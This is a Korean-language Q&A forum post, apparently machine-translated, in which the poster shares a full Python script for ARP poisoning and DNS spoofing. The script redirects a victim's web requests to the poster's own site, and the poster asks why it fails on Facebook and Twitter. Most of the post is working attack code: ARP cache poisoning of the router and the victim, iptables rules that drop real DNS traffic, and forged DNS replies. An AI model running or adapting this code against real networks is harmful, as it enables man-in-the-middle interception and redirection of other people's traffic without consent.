2017-10-29 18 views
1

파이썬에서 재미있게 DNF spoofer (ARP 중독 포함)를 만들었습니다. 내 목표는 피해자의 DNS 요청을 내 사이트로 리디렉션하는 것입니다. 그래서 그들이 어떤 웹 사이트로 갈 때마다 그들은 내 사이트로 이동합니다. 그러나 일부 사이트에서만 작동하는 것으로 보이며, 트위터 나 페이스 북과 같은 사이트에 갈 때 작동하지 않는 것처럼 보입니다.하지만 Google 또는 소규모 사이트로 갈 때 제대로 리디렉션됩니까? 또한 라우터에서 모든 DNS를 차단하기 위해 iptables 규칙을 사용하고 있습니다.내 dns 스푸핑은 일부 사이트에서만 작동합니까?

누구나 알 수 있습니까?

코드 :

#command line arguments 
parser = argparse.ArgumentParser(description='ARP Poisoning and DNS Spoofing') 
parser.add_argument('-v', '--victim', dest='victimIP', help="IP Address of victim", required=True) 
parser.add_argument('-t', '--target', dest='targetIP', help="IP Address of spoof site", required=True) 
parser.add_argument('-r', '--router', dest='routerIP', help="IP Address of Router", required=True) 

args = parser.parse_args() 
vIP = args.victimIP 
targetIP = args.targetIP 
routerIP = args.routerIP 
localMAC = "" 
victimMAC = "" 
routerMAC = "" 

#Setup function 
def setup(): 
    #setup forwarding rules 
    #disable forwarding of DNS requests to router 
    os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') 
    #iptables rule 
    Popen(["iptables -A FORWARD -p UDP --dport 53 -j DROP"], shell=True, stdout=PIPE) 

#Flush iptables on exit 
def reset(): 
    Popen(["iptables -F"], shell=True, stdout=PIPE) 

#get MACaddress of local machine 
def getOurMAC(interface): 
    try: 
     mac = open('/sys/class/net/'+interface+'/address').readline() 
    except: 
     mac = "00:00:00:00:00:00" 
    return mac[0:17] 


#returns MAC address of victim IP 
def getTargetMAC(IP): 
    #add the target to our system's ARP cache 
    pingResult = Popen(["ping", "-c 1", IP], stdout=PIPE) 
    pid = Popen(["arp", "-n", IP], stdout=PIPE) 
    s = pid.communicate()[0] 
    MAC = re.search(r"(([a-f\d]{1,2}\:){5}[a-f\d]{1,2})", s).groups()[0] 

    return MAC 


#constructs and sends arp packets to send to router and to victim. 
def ARPpoison(localMAC, victimMAC, routerMAC): 
    arpPacketVictim = Ether(src=localMAC, dst=victimMAC)/ARP(hwsrc=localMAC, hwdst=victimMAC, psrc=routerIP, pdst=vIP, op=2) 
    arpPacketRouter = Ether(src=localMAC, dst=routerMAC)/ARP(hwsrc=localMAC, hwdst=routerMAC, psrc=vIP, pdst=routerIP, op=2) 
    print str(vIP) + " has been poisoned." 
    while True: 
     try: 
      sendp(arpPacketVictim, verbose=0) 
      sendp(arpPacketRouter, verbose=0) 
      #pause between each send 
      time.sleep(3) 
     except KeyboardInterrupt: 
      sys.exit(0) 

#construct and send a spoofed DNS response packet to the victim 
def reply(packet): 
    global targetIP 
    responsePacket = (IP(dst=vIP, src=packet[IP].dst)/UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)/\ 
        DNS(id=packet[DNS].id, qd=packet[DNS].qd, aa=1, qr=1, an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=targetIP))) 
    send(responsePacket, verbose=0) 
    print "Sent spoofed DNS Packet" 
    return 

#this parse creates a thread 
def parse(packet): 
    if packet.haslayer(DNS) and packet.getlayer(DNS).qr==0: 
     replyThread = threading.Thread(target=reply, args=packet) 
     replyThread.start() 

#initiate sniff filter for DNS requests 
def DNSsniffer(): 
    global vIP 
    print "Sniffing DNS" 
    sniffFilter = "udp and port 53 and src " +str(vIP) 
    sniff(filter=sniffFilter, prn=parse) 

# main function 
def main(): 
    victimMAC = getTargetMAC(vIP) 
    localMAC = getOurMAC("eno1")#Datacomm card 
    routerMAC = getTargetMAC(routerIP) 

    #threads creation 
    ARPThread = threading.Thread(target=ARPpoison, args=(localMAC, victimMAC, routerMAC)) 
    sniffThread = threading.Thread(target=DNSsniffer) 
    # 
    ARPThread.daemon = True 
    sniffThread.daemon = True 
    # 
    ARPThread.start() 
    sniffThread.start() 

    #Keyboard Interrupt 
    while True: 
     try: 
      time.sleep(5) 
     except KeyboardInterrupt: 
      reset() 
      print "Exiting" 
      sys.exit(0) 

#-------------------------------------------------- 
setup() 
main() 

업데이트 : 좀 더 테스트를 완료 한 , 그것은 피해자가 구글과 같은 사이트에 갈 때 잘 리디렉션 할 것으로 보인다. 사이트를 빠르게로드하지만 페이스 북이나 트위터 같은 더 큰 사이트의 경우에는 영원히로드되는 것 같습니다.

스레드를 생성하는 대신 프로세스를 생성 할 수 있습니까?

+0

로컬 DNS 캐시 –

+0

에서 이미 이름이 확인되었지만 작동하지 않는 것 같습니다. 내 프로그램이 스푸핑 DNS를 보내려고하고 있어도 페이 스북 및 트위터가 계속 영원히로드되는 것처럼 보입니다. 패킷. –

답변

0

페이 스북 (Facebook) 및 트위터 (twitter)의 보안이 모두 스푸핑 차단이므로 내 코드에는 아무런 문제가 없습니다.